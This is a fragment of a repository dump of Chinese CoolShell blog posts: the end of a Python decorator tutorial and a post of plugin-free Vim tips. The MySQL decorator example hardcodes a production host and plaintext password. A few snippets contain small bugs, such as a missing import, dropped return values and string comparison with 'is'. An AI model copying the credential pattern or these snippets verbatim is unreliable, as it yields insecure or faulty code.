Decorator\n\n\n首先，先得说一下，decorator的class方式，还是看个示例：\n\n\n\n```\nclass myDecorator(object):\n\n    def __init__(self, fn):\n        print \"inside myDecorator.__init__()\"\n        self.fn = fn\n\n    def __call__(self):\n        self.fn()\n        print \"inside myDecorator.__call__()\"\n\n@myDecorator\ndef aFunction():\n    print \"inside aFunction()\"\n\nprint \"Finished decorating aFunction()\"\n\naFunction()\n\n# 输出：\n# inside myDecorator.__init__()\n# Finished decorating aFunction()\n# inside aFunction()\n# inside myDecorator.__call__()\n```\n\n上面这个示例展示了，用类的方式声明一个decorator。我们可以看到这个类中有两个成员：  \n\n1）一个是**init**()，这个方法是在我们给某个函数decorator时被调用，所以，需要有一个fn的参数，也就是被decorator的函数。  \n\n2）一个是**call**()，这个方法是在我们调用被decorator函数时被调用的。  \n\n上面输出可以看到整个程序的执行顺序。\n\n\n这看上去要比“函数式”的方式更易读一些。\n\n\n下面，我们来看看用类的方式来重写上面的html.py的代码（文件名：html.py）：\n\n\n\n```\nclass makeHtmlTagClass(object):\n\n    def __init__(self, tag, css_class=\"\"):\n        self._tag = tag\n        self._css_class = \" class='{0}'\".format(css_class) \\\n                                       if css_class !=\"\" else \"\"\n\n    def __call__(self, fn):\n        def wrapped(*args, **kwargs):\n            return \"<\" + self._tag + self._css_class+\">\"  \\\n                       + fn(*args, **kwargs) + \"</\" + self._tag + \">\"\n        return wrapped\n\n@makeHtmlTagClass(tag=\"b\", css_class=\"bold_css\")\n@makeHtmlTagClass(tag=\"i\", css_class=\"italic_css\")\ndef hello(name):\n    return \"Hello, {}\".format(name)\n\nprint hello(\"Hao Chen\")\n\n```\n\n上面这段代码中，我们需要注意这几点：  \n\n1）如果decorator有参数的话，**init**() 成员就不能传入fn了，而fn是在**call**的时候传入的。  \n\n2）这段代码还展示了 wrapped(\\*args, \\*\\*kwargs) 这种方式来传递被decorator函数的参数。（其中：args是一个参数列表，kwargs是参数dict，具体的细节，请参考Python的文档或是[StackOverflow的这个问题](http://stackoverflow.com/questions/3394835/args-and-kwargs)，这里就不展开了）\n\n\n#### 用Decorator设置函数的调用参数\n\n\n你有三种方法可以干这个事：\n\n\n第一种，通过 \\*\\*kwargs，这种方法decorator会在kwargs中注入参数。\n\n\n\n```\ndef decorate_A(function):\n    def wrap_function(*args, **kwargs):\n        kwargs['str'] = 'Hello!'\n        return function(*args, **kwargs)\n    return wrap_function\n\n@decorate_A\ndef print_message_A(*args, **kwargs):\n    print(kwargs['str'])\n\nprint_message_A()\n```\n\n第二种，约定好参数，直接修改参数\n\n\n\n```\ndef decorate_B(function):\n    def wrap_function(*args, **kwargs):\n        str = 'Hello!'\n        return function(str, *args, **kwargs)\n    return wrap_function\n\n@decorate_B\ndef print_message_B(str, *args, **kwargs):\n    print(str)\n\nprint_message_B()\n```\n\n第三种，通过 \\*args 注入\n\n\n\n```\ndef decorate_C(function):\n    def wrap_function(*args, **kwargs):\n        str = 'Hello!'\n        #args.insert(1, str)\n        args = args +(str,)\n        return function(*args, **kwargs)\n    return wrap_function\n\nclass Printer:\n    @decorate_C\n    def print_message(self, str, *args, **kwargs):\n        print(str)\n\np = Printer()\np.print_message()\n```\n\n#### Decorator的副作用\n\n\n到这里，我相信你应该了解了整个Python的decorator的原理了。\n\n\n相信你也会发现，被decorator的函数其实已经是另外一个函数了，对于最前面那个hello.py的例子来说，如果你查询一下foo.**name**的话，你会发现其输出的是“wrapper”，而不是我们期望的“foo”，这会给我们的程序埋一些坑。所以，Python的functool包中提供了一个叫wrap的decorator来消除这样的副作用。下面是我们新版本的 hello.py。\n\n\n\n```\nfrom functools import wraps\ndef hello(fn):\n    @wraps(fn)\n    def wrapper():\n        print \"hello, %s\" % fn.__name__\n        fn()\n        print \"goodby, %s\" % fn.__name__\n    return wrapper\n\n@hello\ndef foo():\n    '''foo help doc'''\n    print \"i am foo\"\n    pass\n\nfoo()\nprint foo.__name__ #输出 foo\nprint foo.__doc__  #输出 foo help doc\n\n```\n\n当然，即使是你用了functools的wraps，也不能完全消除这样的副作用。\n\n\n来看下面这个示例：\n\n\n\n```\nfrom inspect import getmembers, getargspec\nfrom functools import wraps\n\ndef wraps_decorator(f):\n    @wraps(f)\n    def wraps_wrapper(*args, **kwargs):\n        return f(*args, **kwargs)\n    return wraps_wrapper\n\nclass SomeClass(object):\n    @wraps_decorator\n    def method(self, x, y):\n        pass\n\nobj = SomeClass()\nfor name, func in getmembers(obj, predicate=inspect.ismethod):\n    print \"Member Name: %s\" % name\n    print \"Func Name: %s\" % func.func_name\n    print \"Args: %s\" % getargspec(func)[0]\n\n# 输出：\n# Member Name: method\n# Func Name: method\n# Args: []\n```\n\n你会发现，即使是你你用了functools的wraps，你在用getargspec时，参数也不见了。\n\n\n要修正这一问，我们还得用Python的反射来解决，下面是相关的代码：\n\n\n\n```\ndef get_true_argspec(method):\n    argspec = inspect.getargspec(method)\n    args = argspec[0]\n    if args and args[0] == 'self':\n        return argspec\n    if hasattr(method, '__func__'):\n        method = method.__func__\n    if not hasattr(method, 'func_closure') or method.func_closure is None:\n        raise Exception(\"No closure for method.\")\n\n    method = method.func_closure[0].cell_contents\n    return get_true_argspec(method)\n```\n\n当然，我相信大多数人的程序都不会去getargspec。所以，用functools的wraps应该够用了。\n\n\n#### 一些decorator的示例\n\n\n好了，现在我们来看一下各种decorator的例子：\n\n\n##### 给函数调用做缓存\n\n\n这个例实在是太经典了，整个网上都用这个例子做decorator的经典范例，因为太经典了，所以，我这篇文章也不能免俗。\n\n\n\n```\nfrom functools import wraps\ndef memo(fn):\n    cache = {}\n    miss = object()\n\n    @wraps(fn)\n    def wrapper(*args):\n        result = cache.get(args, miss)\n        if result is miss:\n            result = fn(*args)\n            cache[args] = result\n        return result\n\n    return wrapper\n\n@memo\ndef fib(n):\n    if n < 2:\n        return n\n    return fib(n - 1) + fib(n - 2)\n\n```\n\n上面这个例子中，是一个斐波拉契数例的递归算法。我们知道，这个递归是相当没有效率的，因为会重复调用。比如：我们要计算fib(5)，于是其分解成fib(4) + fib(3)，而fib(4)分解成fib(3)+fib(2)，fib(3)又分解成fib(2)+fib(1)…… 你可看到，基本上来说，fib(3), fib(2), fib(1)在整个递归过程中被调用了两次。\n\n\n而我们用decorator，在调用函数前查询一下缓存，如果没有才调用了，有了就从缓存中返回值。一下子，这个递归从二叉树式的递归成了线性的递归。\n\n\n##### Profiler的例子\n\n\n这个例子没什么高深的，就是实用一些。\n\n\n\n```\nimport cProfile, pstats, StringIO\n\ndef profiler(func):\n    def wrapper(*args, **kwargs):\n        datafn = func.__name__ + \".profile\" # Name the data file\n        prof = cProfile.Profile()\n        retval = prof.runcall(func, *args, **kwargs)\n        #prof.dump_stats(datafn)\n        s = StringIO.StringIO()\n        sortby = 'cumulative'\n        ps = pstats.Stats(prof, stream=s).sort_stats(sortby)\n        ps.print_stats()\n        print s.getvalue()\n        return retval\n\n    return wrapper\n\n\n```\n\n##### 注册回调函数\n\n\n下面这个示例展示了通过URL的路由来调用相关注册的函数示例：\n\n\n\n```\nclass MyApp():\n    def __init__(self):\n        self.func_map = {}\n\n    def register(self, name):\n        def func_wrapper(func):\n            self.func_map[name] = func\n            return func\n        return func_wrapper\n\n    def call_method(self, name=None):\n        func = self.func_map.get(name, None)\n        if func is None:\n            raise Exception(\"No function registered against - \" + str(name))\n        return func()\n\napp = MyApp()\n\n@app.register('/')\ndef main_page_func():\n    return \"This is the main page.\"\n\n@app.register('/next_page')\ndef next_page_func():\n    return \"This is the next page.\"\n\nprint app.call_method('/')\nprint app.call_method('/next_page')\n\n```\n\n注意：  \n\n1）上面这个示例中，用类的实例来做decorator。  \n\n2）decorator类中没有**call**()，但是wrapper返回了原函数。所以，原函数没有发生任何变化。\n\n\n##### 给函数打日志\n\n\n下面这个示例演示了一个logger的decorator，这个decorator输出了函数名，参数，返回值，和运行时间。\n\n\n\n```\nfrom functools import wraps\ndef logger(fn):\n    @wraps(fn)\n    def wrapper(*args, **kwargs):\n        ts = time.time()\n        result = fn(*args, **kwargs)\n        te = time.time()\n        print \"function      = {0}\".format(fn.__name__)\n        print \"    arguments = {0} {1}\".format(args, kwargs)\n        print \"    return    = {0}\".format(result)\n        print \"    time      = %.6f sec\" % (te-ts)\n        return result\n    return wrapper\n\n@logger\ndef multipy(x, y):\n    return x * y\n\n@logger\ndef sum_num(n):\n    s = 0\n    for i in xrange(n+1):\n        s += i\n    return s\n\nprint multipy(2, 10)\nprint sum_num(100)\nprint sum_num(10000000)\n```\n\n上面那个打日志还是有点粗糙，让我们看一个更好一点的（带log level参数的）：\n\n\n\n```\nimport inspect\ndef get_line_number():\n    return inspect.currentframe().f_back.f_back.f_lineno\n\ndef logger(loglevel):\n    def log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            ts = time.time()\n            result = fn(*args, **kwargs)\n            te = time.time()\n            print \"function   = \" + fn.__name__,\n            print \"    arguments = {0} {1}\".format(args, kwargs)\n            print \"    return    = {0}\".format(result)\n            print \"    time      = %.6f sec\" % (te-ts)\n            if (loglevel == 'debug'):\n                print \"    called_from_line : \" + str(get_line_number())\n            return result\n        return wrapper\n    return log_decorator\n```\n\n但是，上面这个带log level参数的有两具不好的地方，  \n\n1） loglevel不是debug的时候，还是要计算函数调用的时间。  \n\n2） 不同level的要写在一起，不易读。\n\n\n我们再接着改进：\n\n\n\n```\nimport inspect\n\ndef advance_logger(loglevel):\n\n    def get_line_number():\n        return inspect.currentframe().f_back.f_back.f_lineno\n\n    def _basic_log(fn, result, *args, **kwargs):\n        print \"function   = \" + fn.__name__,\n        print \"    arguments = {0} {1}\".format(args, kwargs)\n        print \"    return    = {0}\".format(result)\n\n    def info_log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            result = fn(*args, **kwargs)\n            _basic_log(fn, result, args, kwargs)\n        return wrapper\n\n    def debug_log_decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            ts = time.time()\n            result = fn(*args, **kwargs)\n            te = time.time()\n            _basic_log(fn, result, args, kwargs)\n            print \"    time      = %.6f sec\" % (te-ts)\n            print \"    called_from_line : \" + str(get_line_number())\n        return wrapper\n\n    if loglevel is \"debug\":\n        return debug_log_decorator\n    else:\n        return info_log_decorator\n\n```\n\n你可以看到两点，  \n\n1）我们分了两个log level，一个是info的，一个是debug的，然后我们在外尾根据不同的参数返回不同的decorator。  \n\n2）我们把info和debug中的相同的代码抽到了一个叫\\_basic\\_log的函数里，DRY原则。\n\n\n##### 一个MySQL的Decorator\n\n\n下面这个decorator是我在工作中用到的代码，我简化了一下，把DB连接池的代码去掉了，这样能简单点，方便阅读。\n\n\n\n```\nimport umysql\nfrom functools import wraps\n\nclass Configuraion:\n    def __init__(self, env):\n        if env == \"Prod\":\n            self.host    = \"coolshell.cn\"\n            self.port    = 3306\n            self.db      = \"coolshell\"\n            self.user    = \"coolshell\"\n            self.passwd  = \"fuckgfw\"\n        elif env == \"Test\":\n            self.host   = 'localhost'\n            self.port   = 3300\n            self.user   = 'coolshell'\n            self.db     = 'coolshell'\n            self.passwd = 'fuckgfw'\n\ndef mysql(sql):\n\n    _conf = Configuraion(env=\"Prod\")\n\n    def on_sql_error(err):\n        print err\n        sys.exit(-1)\n\n    def handle_sql_result(rs):\n        if rs.rows > 0:\n            fieldnames = [f[0] for f in rs.fields]\n            return [dict(zip(fieldnames, r)) for r in rs.rows]\n        else:\n            return []\n\n    def decorator(fn):\n        @wraps(fn)\n        def wrapper(*args, **kwargs):\n            mysqlconn = umysql.Connection()\n            mysqlconn.settimeout(5)\n            mysqlconn.connect(_conf.host, _conf.port, _conf.user, \\\n                              _conf.passwd, _conf.db, True, 'utf8')\n            try:\n                rs = mysqlconn.query(sql, {})\n            except umysql.Error as e:\n                on_sql_error(e)\n\n            data = handle_sql_result(rs)\n            kwargs[\"data\"] = data\n            result = fn(*args, **kwargs)\n            mysqlconn.close()\n            return result\n        return wrapper\n\n    return decorator\n\n@mysql(sql = \"select * from coolshell\" )\ndef get_coolshell(data):\n    ... ...\n    ... ..\n\n```\n\n##### 线程异步\n\n\n下面量个非常简单的异步执行的decorator，注意，异步处理并不简单，下面只是一个示例。\n\n\n\n```\nfrom threading import Thread\nfrom functools import wraps\n\ndef async(func):\n    @wraps(func)\n    def async_func(*args, **kwargs):\n        func_hl = Thread(target = func, args = args, kwargs = kwargs)\n        func_hl.start()\n        return func_hl\n\n    return async_func\n\nif __name__ == '__main__':\n    from time import sleep\n\n    @async\n    def print_somedata():\n        print 'starting print_somedata'\n        sleep(2)\n        print 'print_somedata: 2 sec passed'\n        sleep(2)\n        print 'print_somedata: 2 sec passed'\n        sleep(2)\n        print 'finished print_somedata'\n\n    def main():\n        print_somedata()\n        print 'back in main'\n        print_somedata()\n        print 'back in main'\n\n    main()\n\n```\n\n#### 其它\n\n\n关于更多的示例，你可以参看： [Python Decorator Library](https://wiki.python.org/moin/PythonDecoratorLibrary)\n\n\n关于Python Decroator的各种提案，可以参看：[Python Decorator Proposals](https://wiki.python.org/moin/PythonDecoratorProposals)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-3-24 无插件Vim编程技巧.md",
    "content": "---\nlayout: post\ntitle: 无插件Vim编程技巧\ndate: 2014/3/24/ 0:25:29\nupdated: 2014/3/24/ 0:25:29\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/03/success_vim.jpg)相信大家看过《[简明Vim教程](https://coolshell.cn/articles/5426.html \"简明 Vim 练级攻略\")》也玩了《[Vim大冒险](https://coolshell.cn/articles/7166.html \"游戏：VIM大冒险\")》的游戏了，相信大家对Vim都有一个好的入门了。我在这里把我日常用Vim编程的一些技巧列出来给大家看看，希望对大家有用，另外，也是一个抛砖引玉的过程，也希望大家把你们的技巧跟贴一下，我会更新到这篇文章中。另外，这篇文章里的这些技巧全都是vim原生态的，不需要你安装什么插件。**我的Vim的版本是7.2**。\n\n\n#### 浏览代码\n\n\n首先，我们先从浏览代码开始。有时候，我们需要看多个文件，所以，传统的做法是，我们开多个tty终端，每个tty里用Vim打开一个文件，然后来回切换。这很没有什么效率。我们希望在一个Vim里打开多个文件，甚至浏览程序目录。\n\n\n浏览目录的命令很简单：（你也可以直接vim一个目录）\n\n\n\n> **:E**\n> \n> \n\n\n注意，是大写。于是，你会看到下面这样的界面：\n\n\n\n![](../wp-content/uploads/2014/03/Explorer.png)\n\n\n这个界面中，**你可以用 j, k 键上下移动，然后回车，进入一个目录，或是找开一个文件**。你可以看到上面有一堆命令：\n\n\n* 【 – 】 到上级目录\n* 【D】删除文件（大写）\n* 【R】改文件名（大写）\n* 【s】对文件排序（小写）\n* 【x】执行文件\n\n\n当然，打开的文件会把现有已打开的文件给冲掉——也就是说你只看到了一个文件。\n\n\n如果你要改变当前浏览的目录，或是查看当前浏览的目录，你可以使用和shell一样的命令：\n\n\n\n> **:cd <dir> – 改变当前目录**\n> \n> \n> **:pwd  – 查看当前目录**\n> \n> \n\n\n#### 缓冲区\n\n\n其实，你用:E 浏览打开的文件都没有被关闭，这些文件都在缓冲区中。你可以用下面的命令来查看缓冲区：\n\n\n\n> **:ls**\n> \n> \n\n\n于是，在你的Vim下，你会看到如下界面：\n\n\n![](../wp-content/uploads/2014/03/buffer_ls.png)\n\n\n你可以看到Vim打开了四个文件，编号是4，5，6，7，如果你要切换打开的文件，这个时候，你不要按回车（按了也没事，只不过按了就看不到:ls输出的buffer列表了），你可以使用下面的命令切换文件（buffer后面的4表示切到4号文件也就是src/http/ngx\\_http.c）：\n\n\n\n> **:buffer 4**\n> \n> \n\n\n或是：\n\n\n\n> **:buffer src/http/ngx\\_http.c**\n> \n> \n\n\n注意，\n\n\n* 你可以像在Shell中输入命令按Tab键补全一样补全Vim的命令。\n* 也可以用像gdb一样用最前面的几个字符，只要没有冲突。如：buff\n\n\n你还可以动用如下命令，快速切换：\n\n\n\n> :bnext      缩写 :bn  \n> \n> :bprevious   缩写 :bp  \n> \n> :blast  缩写 :bl  \n> \n> :bfirst 缩写 :bf\n> \n> \n\n\n上图中，我们还可以看到5有一个%a，这表示当前文件，相关的标记如下：\n\n\n– （非活动的缓冲区）  \n\na （当前被激活缓冲区）  \n\nh （隐藏的缓冲区）  \n\n% （当前的缓冲区）  \n\n# （交换缓冲区）  \n\n= （只读缓冲区）  \n\n+ （已经更改的缓冲区）\n\n\n#### 窗口分屏浏览\n\n\n相信你在《[Vim的窗口分屏](https://coolshell.cn/articles/1679.html \"Vim的分屏功能\")》一文中，你已经知道了怎么拆分窗口了。其实，我更多的不是用拆分窗口的命令，而是用浏览文件的命令来分隔窗口。如：\n\n\n把当前窗口上下分屏，并在下面进行目录浏览：\n\n\n\n> **:He   全称为 :Hexplore  （在下边分屏浏览目录）**\n> \n> \n\n\n如果你要在上面，你就在 :He后面加个 !，\n\n\n\n> **:He!  （在上分屏浏览目录）**\n> \n> \n\n\n如果你要左右分屏的话，你可以这样：\n\n\n\n> **:Ve 全称为 :Vexplore （在左边分屏间浏览目录，要在右边则是 :Ve!）**\n> \n> \n\n\n下图是分别用:He 和 :Ve搞出来的同时看三个文件：\n\n\n![](../wp-content/uploads/2014/03/WindowsExplorer.png)\n\n\n在分屏间的跳转和切换在《[Vim的窗口分屏](https://coolshell.cn/articles/1679.html \"Vim的分屏功能\")》一文中提过了：**先按Ctrl + W，然后按方向键：h j k l**\n\n\n#### 分屏同步移动\n\n\n要让两个分屏中的文件同步移动，很简单，你需要到需要同步移动的两个屏中都输入如下命令（相当于使用“铁锁连环”）：\n\n\n\n> **:set scb**\n> \n> \n\n\n如果你需要解开，那么就输入下面的命令：\n\n\n\n> **:set scb!**\n> \n> \n\n\n注：set scb 是 set scrollbind 的简写。\n\n\n#### Tab页浏览目录\n\n\n分屏可能会让你不爽，你可能更喜欢像Chrome这样的分页式的浏览，那么你可以用下面的命令：\n\n\n\n> **:Te  全称是 :Texplorer**\n> \n> \n\n\n下图中，你可以看到我用Te命令打开了三页，就在顶端我们可以可以看到有三页，其中第一页Tab上的数字3表示那一页有3个文件。\n\n\n![](../wp-content/uploads/2014/03/TabExplorer.png)\n\n\n我们要在多个Tabe页中切换，在normal模式下，你可以使用下面三个按键（注意没有冒号）：\n\n\n\n> **gt   – 到下一个页**\n> \n> \n> **gT  – 到前一个页**\n> \n> \n> **{i} gt   – i是数字，到指定页，比如：5 gt 就是到第5页**\n> \n> \n\n\n你可以以使用 【:tabm {n}】来切换Tab页。\n\n\ngvim应该是：Ctrl+PgDn 和 Ctrl+PgUp 来在各个页中切换。\n\n\n如果你想看看你现在打开的窗口和Tab的情况，你可以使用下面的命令：\n\n\n\n> **:tabs**\n> \n> \n\n\n于是你可以看到：\n\n\n![](../wp-content/uploads/2014/03/Tab01.png)\n\n\n使用如下命令可以关闭tab：（当然，我更喜欢使用传统的:q, :wq来关闭）\n\n\n\n> **:tabclose [i]** – 如果后面指定了数字，那就关闭指定页，如果没有就关闭当前页\n> \n> \n\n\n最后提一下，如果你在Shell命令行下，你可以使用 vim 的 -p 参数来用Tab页的方式打开多个文件，比如：\n\n\n\n> **vim -p cool.cpp shell.cpp haoel.cpp  \n> \n> vim -p \\*.cpp**\n> \n> \n\n\n**注：如果你想把buffer中的文件全转成tab的话，你可以使用下面的命令**\n\n\n\n> **:bufdo tab split**\n> \n> \n\n\n#### 保存会话\n\n\n如果你用Tab或Window打开了好些文件的文件，还设置了各种滚屏同步，或是行号……，那么，你可以用下面的命令来保存会话：（你有兴趣你可以看看你的 mysession.vim文件内容，也就是一个批处理文件）\n\n\n\n> **:mksession ~/.mysession.vim**\n> \n> \n\n\n如果文件重复，vim默认会报错，如果你想强行写入的话，你可以在mksession后加! ：\n\n\n\n> **:mksession! ~/.mysession.vim**\n> \n> \n\n\n于是下次，你可以这样打开这个会话：\n\n\n\n> **vim -S ~/.mysession.vim**\n> \n> \n\n\n保存完会话后，你也没有必要一个一个Tab/Windows的去Close。你可以简单地使用：\n\n\n\n> **:qa   – 退出全部**\n> \n> \n> **:wqa  -保存全部并退出全部**\n> \n> \n\n\n#### Quickfix\n\n\n假如我们有一个hello.cpp文件和一个makefile，于是我们可以直接在vim下输入 :make ， 于是就可以make这个hello.cpp文件，如果出错了，我们需要按回车返回，这个时候，我们可以使用下面的命令来把出错显到在vim的分屏中：\n\n\n\n> **:cw**\n> \n> \n\n\n于是，就会出现下面右边的那个样子：（是不是看上去和我一样很帅？）\n\n\n![](../wp-content/uploads/2014/03/quickfix.png)\n\n\n上图中左边是我的makefile，右边是我的错误百出的源代码，右边下面是quickfix窗屏。你可以看到quickfix窗屏指向的第一个错误已经定位到我们相就错误的文件行上了。\n\n\n你可以使用像浏览文件那样用j, k在quckfix窗屏中上下移动到相应的错误上然后按回车，然后就可以在上面的窗屏里定位到相应的源文件的代码行。但是，如果是这样的话， 你要定位下一条错误还得用Ctrl +W 回到quickfix屏中来然后重复来过。\n\n\n你可以使用下面的命令而不用回到quickfix中来：\n\n\n\n> **:cp 跳到上一个错误**\n> \n> \n> **:cn 跳到下一个错误**\n> \n> \n> **:cl 列出所有错误**\n> \n> \n> **:cc 显示错误详细信息**\n> \n> \n\n\n下面我们来看另一个quickfix的功能。\n\n\n如果你用过vim的cscope插件，你就知道cscope可以用来查找相当的代码，但cscope需要事先生成一个数据库，对一些简单的查找，其实，我们用vim的grep命令就可以了，不需要专门为之生成数据库。vim的grep命令和shell的几乎一样。\n\n\n我们来看个例子：\n\n\n比如我们正在浏览nginx的代码，这时，我想看看哪里用到了nginx的NGX\\_HTTP\\_VAR\\_INDEXED宏。于是，我可以在vim里输入如下的命令：\n\n\n\n> **:grep -r –include=”\\*.[ch]” NGX\\_HTTP\\_VAR\\_INDEXED src/**\n> \n> \n\n\n上面这个命令意思是递归查询src目录下所有的.c和.h文件，其中包括NGX\\_HTTP\\_VAR\\_INDEXED宏。然后，你就会看到vim到shell里去执行并找到了相关的文件，按回车返回vim后，别忘了用 【:cw 】把grep的输出取回来，于是我们就有下面的样子：\n\n\n![](../wp-content/uploads/2014/03/quickfix_grep.png)\n\n\n然后同上面一样，你可以用 j，k 键移动quickfix里的光标到相应的行，然后按回车定位文件，或是使用【:cn】或【:cp】来移动到定位。（这样，你会把多个文件打开到缓冲区，别忘了【:ls】来查看缓冲区）\n\n\n你看，到这里，一个小小的IDE就这样产生了，而且，**最帅的时，我们连一点插件都没有装，也没有在.vimrc文件中配置过什么**。\n\n\n#### 关键字补全\n\n\n我们还是坚持不用任何插件。我们来看看是怎么个自动补全的。\n\n\n在insert模式下，我们可以按如下快捷键：\n\n\n\n> 【**Ctrl +N**】  – 当你按下这它时，你会发现Vim就开始搜索你这个目录下的代码，搜索完成了就会出现一个下拉列表（居然是粉紫色的，真是丑死了）\n> \n> \n\n\n下图是我输入了ngx\\_http\\_然后按ctrl+n出现的样子，它已经帮我补全了一个，但是我不想要这个。然后，在Vim的下方我们可以看到状态变成了“关键字补全”，然后后面有^N^P的提示，意思就是告诉你还有一个Ctrl+P.\n\n\n![](../wp-content/uploads/2014/03/auto_complete_ctrl_n.png)\n\n\n\n> 【**Ctrl + P**】 – 接下来你可以按这个键，于是回到原点，然后你可以按上下光标键来选择相应的Word。\n> \n> \n\n\n对于上面那个例子，我们按下了Ctrl+P后出现下面的这个样子。我们可以看到，光标回到了一开始我输入的位置，然后你可以干两件事，一个是继续输入（这可以帮助过滤关键词），另一个是用“光标键”上移或下移来选择下拉列表中的关键字，选好后回车，就补全了。\n\n\n![](../wp-content/uploads/2014/03/auto_complete_ctrl_p.png)\n\n\n与此类似的，还有更多的补齐，都在Ctrl +X下面：\n\n\n* Ctrl + X 和 Ctrl + D 宏定义补齐\n* Ctrl + X 和 Ctrl + ] 是Tag 补齐\n* Ctrl + X 和 Ctrl + F 是文件名 补齐\n* Ctrl + X 和 Ctrl + I 也是关键词补齐，但是关键后会有个文件名，告诉你这个关键词在哪个文件中\n* Ctrl + X 和 Ctrl +V 是表达式补齐\n* Ctrl + X 和 Ctrl +L 这可以对整个行补齐，变态吧。\n\n\n#### 其它技巧\n\n\n##### 字符相关\n\n\n【guu 】 – 把一行的文字变成全小写。或是【Vu】\n\n\n【gUU】 – 把一行的文件变成全大写。或是【VU】\n\n\n按【v】键进入选择模式，然后移动光标选择你要的文本，按【u】转小写，按【U】转大写\n\n\n【ga】 –  查看光标处字符的ascii码\n\n\n【g8】 – 查看光标处字符的utf-8编码\n\n\n【gf】  – 打开光标处所指的文件 （这个命令在打到#include头文件时挺好用的，当然，仅限于有路径的）\n\n\n【\\*】或【#】在当前文件中搜索当前光标的单词\n\n\n##### 缩进相关\n\n\n【>>】向右给它进当前行 【<<】向左缩进当前行\n\n\n【=】  – 缩进当前行 （和上面不一样的是，它会对齐缩进）\n\n\n【=%】 – 把光标位置移到语句块的括号上，然后按=%，缩进整个语句块（%是括号匹配）\n\n\n【G=gg】 或是 【gg=G】  – 缩进整个文件（G是到文件结尾，gg是到文件开头）\n\n\n##### 复制粘贴相关\n\n\n按【v】 键进入选择模式，然后按h,j,k,l移动光标，选择文本，然后按 【y】 进行复制，按 【p】 进行粘贴。\n\n\n【dd】剪切一行（前面加个数字可以剪切n行），【p】粘贴\n\n\n【yy】复制一行（前面加个数字可以复制n行），【p】粘贴\n\n\n##### 光标移动相关\n\n\n【Ctrl + O】向后回退你的光标移动\n\n\n【Ctrl + I 】向前追赶你的光标移动\n\n\n这两个快捷键很有用，可以在Tab页和Windows中向前和向后trace你的光标键，这也方便你跳转光标。\n\n\n##### 读取Shell命令相关\n\n\n【:r!date】 插入日期\n\n\n上面这个命令，:r 是:read的缩写，!是表明要运行一个shell命令，意思是我要把shell命令的输出读到vim里来。\n\n\n#### vim的终级插件\n\n\nCentOS下：yum erase emacs\n\n\nUbuntu下：apt-get remove emacs\n\n\n对了，以前本站也有一篇小短文《[如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html)》你也可以看看。\n\n\n（:wq）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![简明 Vim 练级攻略](../wp-content/uploads/2011/09/rectangular-blocks-150x150.gif)](http://coolshell.cn/articles/5426.html)[简明 Vim 练级攻略](http://coolshell.cn/articles/5426.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](http://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](http://coolshell.cn/articles/7166.html)\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](http://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](http://coolshell.cn/articles/5479.html)\n* [![Vim的分屏功能](../wp-content/uploads/2009/11/vimwindows-150x150.png)](http://coolshell.cn/articles/1679.html)[Vim的分屏功能](http://coolshell.cn/articles/1679.html)\n* [![将vim变得简单:如何在vim中得到你最喜爱的IDE特性](../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg)](http://coolshell.cn/articles/894.html)[将vim变得简单:如何在vim中得到你最喜爱的IDE特性](http://coolshell.cn/articles/894.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](http://coolshell.cn/articles/1651.html)[VIM有趣的命令](http://coolshell.cn/articles/1651.html)\nThe post [无插件Vim编程技巧](https://coolshell.cn/articles/11312.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-3-6 如何用最有创造力的方式输出42.md",
